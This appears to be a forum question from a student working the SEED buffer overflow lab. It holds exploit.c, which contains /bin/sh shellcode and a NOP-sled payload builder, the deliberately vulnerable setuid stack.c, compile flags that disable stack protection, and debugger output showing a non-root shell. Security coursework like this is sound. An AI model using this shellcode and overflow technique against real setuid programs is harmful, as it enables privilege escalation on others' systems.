title: Can't Get Root Shell on Buffer Overflow Assignment
body: <p>I am working an assignment (see <a href="http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/" rel="nofollow noreferrer">http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/</a>) and, when I run <code>./stack</code> I end up with <code>Trace/breakpoint trap</code> instead of the root shell. The following is my code for <code>exploit.c</code> (which creates <code>badfile</code>) and <code>stack.c</code> (which reads <code>badfile</code> in and uses <code>strcpy</code> to copy it into a buffer that isn't big enough to handle it. </p>
  
  <p>exploit.c</p>
  
  <pre><code>/* exploit.c */
  
  /* A program that creates a file containing code for launching shell*/
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  char shellcode[]=
      "\x31\xc0"          /* xorl         %eax,%eax               */
      "\x50"              /* pushl        %eax                    */
      "\x68""//sh"        /* pushl        $0x68732f2f             */
      "\x68""/bin"        /* pushl        $0x6e69622f             */
      "\x89\xe3"          /* movl         %esp,%ebx               */
      "\x50"              /* pushl        %eax                    */
      "\x53"              /* pushl        %ebx                    */
      "\x89\xe1"          /* movl         %esp,%ecx               */
      "\x99"              /* cdq                                  */
      "\xb0\x0b"          /* movb         $0x0b,%al               */
      "\xcd\x80"          /* int          $0x80                   */
  ;
  
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
  
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&amp;buffer, 0x90, 517);
  
      /* You need to fill the buffer with appropriate contents here */
      memset(buffer + 39, 0xbf, 1);
      memset(buffer + 38, 0xff, 1);
      memset(buffer + 37, 0xf1, 1);
      memset(buffer + 36, 0x40, 1);
      strcpy(buffer + 492, shellcode); 
  
      /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }
  </code></pre>
  
  <p>stack.c</p>
  
  <pre><code>/* stack.c */
  
  /* This program has a buffer overflow vulnerability. */
  /* Our task is to exploit this vulnerability */
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  int bof(char *str)
  {
      char buffer[24];
  
      /* The following statement has a buffer overflow problem */
      strcpy(buffer, str);
  
      return 1;
  }
  
  int main(int argc, char **argv)
  {
      char str[517];
      FILE *badfile;
  
      badfile = fopen("badfile", "r");
      fread(str, sizeof(char), 517, badfile);
      bof(str);
  
      printf("Returned Properly\n");
      return 1;
  }
  
  </code></pre>
  
  <p>I compiled stack.c and set permissions as root with</p>
  
  <pre><code>root:/home/seed# gcc -g -o stack -z execstack -fno-stack-protector stack.c
  root:/home/seed# chown root stack
  root:/home/seed# chmod 4755 stack
  </code></pre>
  
  <p>I compiled exploit.c as myself (seed) with </p>
  
  <pre><code>seed:~$ gcc -g -o exploit exploit.c
  </code></pre>
  
  <p>I run <code>./exploit</code> to create <code>badfile</code>, and get no errors. I run <code>./stack</code> and get <code>Trace/breakpoint trap</code>. </p>
  
  <p>If I run <code>gdb stack</code> I get the shell, but it is not the root shell. </p>
  
  <pre><code>gdb-peda$ run
  Starting program: /home/seed/stack
  process 24232 is executing new program: /bin/dash
  $
  </code></pre>
  
  <p>If I run <code>seed:~$ ./stack -D_FORTIFY_SOURCE=0</code> I get the shell, but once again it isn't root.</p>
  
  <pre><code>seed:~$ ./stack -D_FORTIFY_SOURCE=0
  $ id
  uid=1000(seed) gid=1000(seed)
  $
  </code></pre>
  
  <p>So, what do I need to change to get a root shell? </p>